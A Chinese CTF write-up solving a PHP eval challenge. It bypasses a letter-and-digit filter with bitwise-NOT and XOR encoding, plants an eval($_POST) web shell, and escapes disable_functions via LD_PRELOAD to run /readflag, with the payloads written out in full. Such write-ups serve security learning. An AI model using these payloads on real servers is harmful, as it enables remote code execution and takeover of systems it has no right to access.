源码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
首先是PHP正则绕过,有长度限制,考虑使用取反绕过
首先试试看看phpinfo
echo urlencode(~'phpinfo'); //%8F%97%8F%96%91%99%90
?code=(~%8F%97%8F%96%91%99%90)();
重点看这个禁用函数,禁用了很多函数
下一步试着传木马
$a = 'assert';
echo urlencode(~$a);
echo "<br />";
$b ='(eval($_POST[1]))';
echo urlencode(~$b);
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%D6);
蚁剑连接一下,显然这里需要execute /readflag to get the flag
但是由于禁用了命令执行的函数,这里要进行绕过
网上有两种方法,一种是使用蚁剑的插件,科学上网才能下载得到
另一种是通过LD_PRELOAD
& putenv()
绕过
这里不做详细讲述了,具体可以看看我的个人博客here
上传文件后使用PL
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so